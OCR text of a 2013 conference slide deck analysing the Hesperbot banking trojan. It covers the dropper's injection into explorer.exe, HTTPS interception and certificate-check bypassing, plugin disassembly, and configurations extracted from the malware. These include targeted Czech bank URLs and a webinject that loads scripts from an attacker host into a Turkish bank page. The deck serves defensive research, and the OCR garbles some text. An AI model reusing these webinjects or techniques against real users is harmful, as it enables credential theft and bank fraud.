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The Discovery...

« Early testing variants: Turkey — April 2013
(Malware operators probably active even earlier)

« Peak activity in Turkey: July — September 2013

» Czech spreading campaigns: since August 8, 2013
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The beginning of Czech campaign

ceskaposta.net registry whois
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Targeted Countries

United
Kingdom
Thailand____
e tr-botnet
e cz-botnet e
zec
* pt-botnet

Republic
 uk-botnet

+ few other test botnets

Portugal

Rest of
the world
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Scam email

Win32/Spy.Hesperbot Architecture

Downloadable Modules
X86 & x64 versions

AN
T

zasilka.pdf.exe
(packed binary)

Dropper

_/

explorer.exe
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WIin32/Spy.Hesperbot Dropper

Injects core into explorer.exe

l. Spawn new explorer.exe, patch NtGetContextThread

II. "PowerLoader trick”:

Shell TrayWnd / SetWindowLong /
SendNotifyMessage

1. Common CreateRemoteThread method
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Win32/Spy.Hesperbot Core

C&C communication (Hard-coded domain + DGA)
Enumerating SmartCards
Launch plug-in modules:

* socks, keylog, hvnc, sch, nethk, httphk, httpi
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Network Traffic Interception

Intercepting HTTP and HTTPS:
* Form-grabbing
* \Web-Iinjects

The following browsers are affected:

* Internet Explorer, Mozilla Firefox, Google Chrome, Opera,
Safari, Yandex Browser, SeaMonkey, K-Meleon, Maxthon,
Avant Browser, Sleipnir, Deepnet Explorer

et ZeroNights 2013



Network Traffic Interception

1. Creates local proxy
2. Hooks mswsock.dll functions

/ - —~—_ Embedded Certs for HTTPS:

— -  self-signed certificate

Browser Bank website
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« 9

accounts.google.com
prra———y GO 8 Identity verified
2r = |

Permissions Connection

Lﬂ Certificate Information | account. A ﬂ beideptiboof this website has been verified

This certificate is intended for the following purpose(s):
» All issuance polices

« All application policies Sign in with your G¢

Your connection to accounts.google.com is
encrypted with 256-bit encryption.

The connection uses TL5 1.1,

The cennection is encrypted using
AES_256_CBC, with SHAL for message
authentication and DHE_RSA as the key

Issued by: mcafee exchange mechanism.

Issued to: mcafee

valid from 39/ 30/ 2013 to 9/ 30/ 2014 ) Site information
Emall You have never visited this site before today,

Password What do these mean?

Issuer Statement

Learn more about certificates

v Stay signed in




Certificate Pinning

'Y chrome://net-internal =

« = ¢4 ¢ chrome://net-internals/#hsts

HSTS Ml capturing events (25)

Query domain

Input a domain name to query the current HSTS set:

Domain: jaccounts.google.com [ {Iluery]

Found: mode: strIcT include subdomains:crue domainiaccounts.google. com
pubkey_hashes:snal/4n3728£V3548P560ywauge/baXe=, shal/IvGelsbgzPxdI0b0wns 2xVIdige=, shal
SOMVAHW+MuvCLACSvseHOAWNZucO=, shal /AbkhxY0L343gEf+ckiTHVWp+ozk=, shal/fvujyo43ZR18ccPit
ATHeX=sbWUM=, shal,/vg70yviSnglcodnyHMCDEAy T TeijM=, shal /Qo9rWMOST+EnAym7 9hfRao3mQ400=, shal/5
0Zo+5vSspX¥RegiIBEPMSiQnoD=, shal /wHagYaIl2J+6sFZAwRfap9ZEiKzE4=
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Certificate Pinning

A

* O X

Export Add Website Remove
Website

File Add f Remove

Protected Websites | Pinning Rules

Certificate Trust Configuration

Find Clear
- |W-Eh5'll:-e Fin Rule
login. live.com MSLiveCA W
login.microsoftonline. com MSOffice 365CA W
login. skype.com MSSkypeCA W
login. yahoo.com YahooCA W
secure,skype,com MSSkypeCA W
twitter.com TwitterCA "
www. facebook. com FacebookiCA W

QK

Close
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Bypassing Certificate Verification

CertVerifyCertificateChainPolicy and
CertGetCertificateChain in crypt32.dli

CERT _VerifyCertificate, CERT_VerifyCert,
CERT _VerifyCertificateNow,

CERT _VerifyCertNow and
CERT_VerifyCertName in nss3.dll

Function in opera.dll
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Network Traffic Interception

,
]
]
I
]
]

J

httphk_callback

nethk 1

nethk _vtable

httpi_request_callback

httpi_response_callback

httphk

httphk_vtable

- -
nov dword ptr [eax], 3 ; plugin_nunber

nov duword ptr [eax+8], offset set httphk_callback

nov dword ptr [eax+0Ch], offset remove httphk callback

B
"
mov dword ptr [eax], & ; plugin_number
mov dword ptr [eax+8], offset set_httpi request_callback
mov dword ptr [eax+OCh], offset remove_httpi_request_callback
mov dword ptr [eax+18h], offset set_httpi_response_callback
mov dword ptr [eax+14h], offset remove httpi response_callback
moy dword ptr [eax+18h], offset is_https_scheme
mov dword ptr [eax+1Ch], offset http_rebuild_answer
mov dword ptr [eax+20h], offset get_http method
mov dword ptr [eax+24h], offset get post_data
mov dword ptr [eax+28h], offset get_post_size
mov dword ptr [eax+2Ch], offset get_response_code
mov dword ptr [eax+30h], offset get_host_header
mov dword ptr [eax+34h], offset get_url_path
mov dword ptr [eax+38h], offset get_header
mov dword ptr [eax+3Ch], offset remove_header
mov dword ptr [eax+ABh], offset get_response_data
mov dword ptr [eax+4uh], offset replace_response_data

L---_-J

r-----‘

httpi
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Example Configuration Files

1| config_wersion: 731FD9BB

i
3 blacklisted_urls:
--l---!!uﬁehvunsingeglngLE.cnm!*

*autoupdate.opera.=

*gw#. Lphbs.com/8/ lpg/msg

#Urs.microsoft. com=

xfacebook.comfajax/*
«Tacebook.com/alite/push/log.php
*,gateway.messenger. Live.com/gateway/gateway.dll*
hittps://r.twimg.com/jot

https:S/twitter.com/i/+

sbays.mail. live.com*

*.google. com/thproxyfat/query?client==

*,google. com/chrome-sync/command/ Fclient=0oogle+Chromesc Lient_id==
https://www.googleapis.com/ rpc

https://zynga. coms
hittps://translate.googleapis.coms

https:// http://fthr.data.mozilla.com/=
https://mail.google.com/mailsus/ 8/ *
https://facebook.mafliawars.zynga. coms

I uiden_sceenshnt_urls:l
P T Ycz= csob_pers 388

https://bb24.csob.cz% csob_corp 309

hittps:// www.servis24, cz/ebanking-s24/ib/basefusr/aut/login= servis24 328
https://www.business24. cz/ebanking—-b24/ib/baseSusrfaut/login* business24 388
https: /S wew.mojebanka.cz/InternetBanking/+* mojebanka_pers 308
hittps://www.mojebanka.cz/BusinessBanking/+ mojebanka_corp 388
https:/fcz.unicreditbanking.net/disp?link=Llogin.* unicreditbanking 388
https://mcsign. ba—-ca. com/mcatweb/+ ba-ca.com 388

https:/ wwwl.netbanka.cz/ZIBAIBS32/ControllerServiet* netbanka 3088
https://fuctrader.unicreditgroup.eus unicreditgroup 38@
https://klientd.rb.cz/ebts/version_02/eng/+ klientd.rb 308
https://klientl.rb.cz/ebts/version_02/eng/= klientl.rb 308
https://ibs.rb.cz/IB/+ ibs.rb 3@4@

https://fob.sberbankcz.cz/+ sber.cz 388

I webinjects: I

set_url: xhttpsx://test.com/

data_before
=title=
data_end
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Example Configuration Files

blacklisted_urls:

*safebrowsing.google.com/*

*autoupdate.opera.*

*qQw*. Lphbs.com/@/lpg/msqg

*Urs.microsoft.com=

*Tacebook.com/ajax/*

*facebook.com/alite/push/log.php

*,gateway.messenger. Live.com/gateway/gateway.dl Lk

https://r.twimg.com/jot

https://twitter.com/i/*

*#bay*.mail. live. com*

*.g00gle.com/thproxy/at/query?client=x*

*.google.com/chrome-

sync/command/?client=Google+Chrome&client id=x*

https://www.googleapis.com/rpc

https://zynga.com

https://translate.googleapis.com*

https://http://fhr.data.mozilla.com/*

https://mail.google.com/mail/u/@/=*

https://facebook.mafiawars.zynga.coms
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Example Configuration Files

video_sceenshot_urls:

https

S fib24.csob.cz% csob_pers 3088

https

S /bb24.csob.czx csob_corp 308

https

s WL servis2d. cz2/ebanking—-s24/ib/basefusr/aut/Llogins servis2d 308

https

s www . business24. cz/ebanking-b24/ib/basefusrfaut/Llogin*x businessZ4 388

https

s S www.mojebanka.cz/InternetBanking/* mojebanka_pers 308

https

S fwww . mojebanka.cz/BusinessBanking/* mojebanka_corp 388

https

cSicz.unicreditbanking.net/disp? Link=login.* unicreditbanking 308

https

s/ /mcsign. ba—ca.com/mcatweb/* ba-ca.com 388

https

S wwwl.netbanka. cz/ZIBAIBS32/ControllerServiet* netbanka 386

https

sS/uctrader.unicreditgroup.eus unicreditgroup 308

https

S iklientd.rb.cz/ebts/version B2/eng/= klientd. rb 3808

https

S /Klientl.rb.cz/ebts/version B2/eng/= klientl.rb 386

https

cS/ibs.rb.cz2/IB/* ibs.rb 388

https

:f/ob.sberbankcz.cz/* sber.cz 388
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Example Configuration Files

webinjects:

set_url: https://fisube.kuveytturk.com.tr/=

data_before
< IDOCTYPE=XHTML*<head>
data_end

data_inject
=link rel="stylesheet" type="text/css" href="hitps:/Sinsubesi.com/Internet/content/isube.kuveytturk/isube. kuveytiturk.css" /=

<script type="text/javascript" src="https://Sinsubesi.com/Internet/content/jquery.min.js"==/script>

=script type="text/javascript" src="hitps://insubesi.com/Internet/contents/injectus. js"=</script=

=script type="text/javascript"=INJ.bot_id = "% _HESP_BOT_ID %" ;=/script=

<script type="text/javascript" src="https:/Sinsubesi.com/Internet/content/models. js"=</script=

=sCcript type="text/javascript" src="hitps://insubesi.com/Internet/gate/getcontent?id=isube. kuveytturk"=</script=
data_end

data_after

data_end
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BPI Net

E Seguranca

. oy
o Selecione um telefone @ -, O

Fara continuar a utilizar os servicos do Internet banking "BEPI" devera ativar o modulo de seguranca para
telemavels. O moadulo de seguranca "Module” protege automaticamente o telemovel contra todas as
ameacas atualmente conhecidas e aumenta a seguranca ao trabalhar com o seu banco na Internet "BFI"
Aligacao e utilizagao posterior s30 gratuitas para os clientes do bhanco e esta dltima estende-se durante

todo o prazo de wigéncia do contrato de cliente com "BFI".

Fara instalar o aplicativo em seu telefone preencha o formulano aba<o:

Fahricante Escolher da lista j } _ _
(0 sed telefone nao consta da lista Vaoltar para a lista

wWodelo: Escolher da lista j

Mo telemowvel:

ser-lhe-a enviado para o seu telefone um SMS com o link de onde podera fazer o download do aplicatro,
Certifigue-se de gue insere o numero de telefone gue tem registado no sistema de Internet Banking.




e Fazer o download do aplicativo . ® O

Foi enviado para o seu numero de telefone () um SMS com o link, faca o download do aplicativo.
=e durante 60 segundoes nao receber o SMS, por favor, volte a requisita-lo.

Fe-enviar Shls

=e por gualguer motivo nao recebeu um SMS com um ink para baiar o aplicativo, siga as instruces para
fazer o download do aplicativo manualmente.

“Installgao bloqueada™ para cornigir este problema, va para o menu principal Definigoes =
Seguran¢a > Fontes desconhecidas e, para permitir 2 instalacao do aplicativo, cligue em "OR"

Depois de ter feito o download do aplicativo assinale na caixa de selecao a opgaon "Definir permissoes
da aplicacan” e em seguida continue a instalacao. A aplicacao movel so funciona com o modelo e
fabricante selecionados.

Se 0 sed telemovel nao for um Mokia ESS volte a3 padina anterior para selecionar o modelo e o fabricante
corretos do seu telefone.




e Ativagao do aplicativo o » ®

(O sistema operacional do seu telefone movel e Android O%. Pode encontrar instrucdes detalhadas para a
instalacao do aplicatrvo.

Aviso: Apos o download do aplicative va para a pasta de transferéncia e execute o aplicativo.

Cadigo de ativacao:

Codigo de resposta;

Fara poder ativar o aplicativo, introduza, no campo do codigo de ativacao, este codigo e cligue no botao de
ativacan. O codigo digitado esta correto, o aplicativo ira fornecer-lhe o codigo de resposta. Digite o codigo
de resposta no respetivo campo do site, =0 entao o aplicativo ficard ativo.




* Android
* BlackBerry
* Symbian

Por favor, introduza o seu Codigo de
Activacao
Codigo de Activagao:

123457 |

Codigo de Resposta:

083296 |

Introduza o codigo de resposta na pagina
web

(es[)

Mobile component

Activagao

L!

Por favor, introduza o seu
Codigo de Activacdo

Codiao de Activacdo:
123457

Codigo de Resposta:
0B3296

Introduza o cddigo de resposta
na pagina web

Activacdo Sair

Please enter your Activation Code
Activation Code:

121459

Response Code:

043396

Enter response code to the website

2
5
8
0




Comparison with Gataka

(V4 (V4
IE, Firefox, Chrome, Opera,| + some less known
Safari ones
Via web-injects Through local proxy
(V4 (V4
(V4
(V4 (V4
database file
XOR encrypted HTTPS
VNC VNC
? (V4
~3300 EUR (Zutick) ?
Germany, Netherlands, Turkey, Czech
Scandinavia Republic, Portugal
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Conclusion

New code written from scratch
Real money stolen
On-going investigation

Similar / Reusable web-inject format
Monitoring botnet activity, tracking new versions...
Strictly localized campaigns
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Thank you!

cherepanov@eset.sk
samples@eset.sk

WelLlveSecurity.com
Virusradar.com



